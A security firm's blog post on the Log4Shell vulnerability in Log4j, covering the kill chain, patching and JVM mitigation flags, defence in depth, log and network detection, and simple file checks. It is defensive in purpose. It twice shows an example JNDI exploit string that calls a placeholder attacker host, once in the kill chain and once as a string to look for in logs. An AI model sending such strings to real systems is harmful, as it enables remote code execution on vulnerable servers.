Log4j detecting an attack and compromise in logs

Brian Wagner Headshot
Written by Brian Wagner  Chief Technical Officer

03/12/2021

Over the last two weeks, many have had flashbacks to 2012 when Heartbleed was released and everyone scrambled to fix broadly used OpenSSL. Due to their nature, some applications and services are so prolific that when a vulnerability is identified it causes massive issues for vendors and customers alike. The latest of this kind of issue is the Log4j vulnerability that has been dominating the press. No doubt you are here because you are concerned, the first concern probably being ‘could I have been hacked?’ the second ‘how would I know?’ and the third ‘how do I make sure I know when someone is poking around on my systems?’.


What is Log4shell?

For those that don’t know, let’s first start with the question: What is Log4j? In simple terms, it’s a logging module available in Java that a developer can enable when they are writing an application. It’s a great feature as it allows a user to see a record of what has taken place in an application, and most of the time its enabled for Governance, Risk and Compliance (GRC) purposes. ‘Log4j’ is the module that has the vulnerability that everyone is going on about and what hackers are looking for to exploit. ‘Log4shell’ is the name given to the vulnerability in the module, and it allows hackers to execute commands on vulnerable servers/machines, which is why it is so concerning. One of the most concerning things about this vulnerability is how easy it is to exploit a system, a single string of text and the right conditions internally and the attacker can execute their remote code on your systems.


Killchain

An attacker will do four main things to find and exploit this vulnerability:
  1. Scan the internet looking for a target that is vulnerable.
  2. Once discovered, attackers attempt to exploit the system running the vulnerable log4j module, a webserver, for example, by sending a simple string to exploit the vulnerability. The exploit string will include something similar to this:

    ${jndi:ldap://attacker_host/exploit.class}

  3. If step 2 is successful, the server will connect to an external LDAP server, the LDAP server can then be set to return a malicious script which the victim machine will run on the vulnerable server.
  4. Finally, the attacker will perform post compromise actions such as grab malware from an attackers server in order to take action or execute their objective (for instance, install ransomware or cryptocurrency miner).

As this vulnerability is in the wild and well understood the internet is a light with hackers and researchers looking for vulnerable systems. Making sure your business reduces its attack surface and does not expose services that are not required is vital in general but the most important think now is to make sure what you do have exposed is secure or access limited. The best way to quickly identify if you are vulnerable can be found below but a quick way is by scanning your system or checking file hashes and if you have a software inventory checking software versions.


Remediation

The best advice is to patch to the latest version, as the behaviour is disabled by default. As of writing this blog the latest version of Log4j is 2.16.0. If you are using Log4j version 2.10.0 to version 2.14.0 and can't yet update, you can still set the flag manually:

Set formatMsgNoLookups=true when you configure Log4j by performing one of the following three actions:
  1. You can pass this JVM flag as an argument when you invoke Java:
    java -Dlog4j2.formatMsgNoLookups=true
  2. Alternatively, this feature may be set via environment variable:
    LOG4J_FORMAT_MSG_NO_LOOKUPS=true
  3. Or you can set this using the JVM arguments environment variable:
    JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true

In some non-default configurations the vulnerability can still be exploitable even when this mitigation is in place so refer to the second CVE (CVE-2021-45046) for more details.

If you are using a version less than 2.10.0 you will need to do the following (because the flag that mitigates it above wasn’t added until 2.10.0), you can substitute a non-vulnerable or empty implementation of the class org.apache.logging.log4j.core.lookup.JndiLookup in a way that your classloader uses your replacement instead of the vulnerable version of the class. Refer to your application’s or stack's classloading documentation to understand this behaviour.


Other mitigations/defence in depth

As best practice suggests; we advocate that you should follow a defence in depth strategy as no single solution will protect you.

  • Ensure outbound filtering is strictly managed. Block all services outbound to the internet and only allow necessary services.
  • For services that are allowed, ensure all traffic is being inspected and logged.
  • Implement a Web Application Firewall. This will not save you from being successfully exploited, but these devices will block the majority of scanners, scanning for low hanging fruit, non-determined attackers etc. Often vendors will update as bypasses become known within the security industry. In addition with log monitoring you will be aware if you are under attack and take action faster.
  • Block IP addresses that are scanning or attacking external web servers.
  • Segregate vulnerable hosts within a DMZ environment, do not have them on the domain and limit who/what can connect through strict firewall rules. In case of successful compromise, an attacker cannot move through the rest of the network.

Detection

  • Deploy endpoint security/EDR to endpoints running Log4j. This would include checking for suspicious programs/processes being spawned and executed on targets, command line tools like powershell being used, increased CPU/memory usage (cryptominer) and general post-exploitation detection by the EDR.
  • Due of the nature of the exploit, any HTTP field could be used to exploit a vulnerable machine so reviewing http fields and user agent strings can indicate attempts to exploit the vulnerability attackers are trying every possible option at this point.
  • Ensure logging is taking place. The most likely place to see this attack would be the access/web logs. Make sure that these logs are constantly being monitored for any malicious activity. Strings similar to this if found in logs must be investigated:

    ${jndi:ldap://attacker_host/exploit.class}
  • Network detection. Look at connections from web servers to non-standard ports or to standard web ports (http/s ports). Examine DNS queries that may be going to known malicious sites. Several resources exist at the moment that document known scanning ip addresses and callback URLs. Look for outbound connections from hosts running Log4j to unknown or unexpected locations
  • Review LDAP outbound connection destinations for abnormality

Specific Technical remediation and notes from our SOC

Paths to monitor for indicators of attack

UNIX

  • /opt
  • /usr/local
  • /home

OS X

  • /Applications
  • /Library
  • /UsersLibrary
see also UNIX

Windows

  • c:\Program Files
  • c:\Program Files (x86)
  • c:\Documents and Settings
  • c:\Users

Simple checks

  • find /path/to/check -iname "*log4j*
  • grep -rq log4j /path/to/check && echo log4j matches

Yara rules

  • log4jjavasrc.yara - Hunts for references to Log4J java in source form
  • log4jimport.yara - Hunts for references to Log4J imports
  • log4jJndiLookup.yara - Hunts for references to Log4J JndiLookup

Further Recommendations

  1. Identify vulnerbale software / devices via
    • asset invertories
    • software bill of material manifests
    • software build pipeline dependency manifests
    • vendor bulletins
    • Do a file system discovery on Windows / Linux to identify Java class files and check if they are expected
    • log file analytics to identify log4j like entries
    • If you are really concerned get a penetration tester to check for you
  2. Patch all vulnerable software where patches are available as attackers can chain attacks
  3. Ensure protective monitoring (you are probably already being scanned, as much of the internet is)
    • On the network look for remote class loading
    • On potential vulnerable assets for remote class loading
    • On assets look for unexpected command execution
  4. CVE
    • CVE-2021-44228: Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints
    • CVE-2021-45046: Apache Log4j2 Thread Context Message Pattern and Context Lookup Pattern vulnerable to a denial of service attack.
  5. What’s vulnerable?
    The Netherlands National Cyber Security Center have published a great github repo of currently affected vendors, that is still being updated
    Vendors repo: https://github.com/NCSC-NL/log4shell/tree/main/software
Discover S.W.A.T. Defence®

Download the Managed SIEM data sheet to learn how S.W.A.T. Defence® is engineered to meet the security challenges of tomorrow.

Download now

Our experts are the ones to trust when it comes to your cyber security

  • Bulletproof are CREST approved

    CREST approved

  • Bulletproof are ISO 27001 and 9001 certified

    ISO 27001 and 9001 certified

  • Bulletproof are Tigerscheme qualified testers

    Tigerscheme qualified testers

  • Bulletproof are a PCI DSS v3.2 Level 1 service provider

    PCI DSS v3.2 Level 1
    service provider

  • Bulletproof have 24/7 on-site Security Operations Centre

    24/7 on-site Security
    Operations Centre

Get a quote today

If you’re interested in our services, get a free, no obligation quote today by filling out the form below.

By submitting this form, I agree to the Bulletproof privacy policy.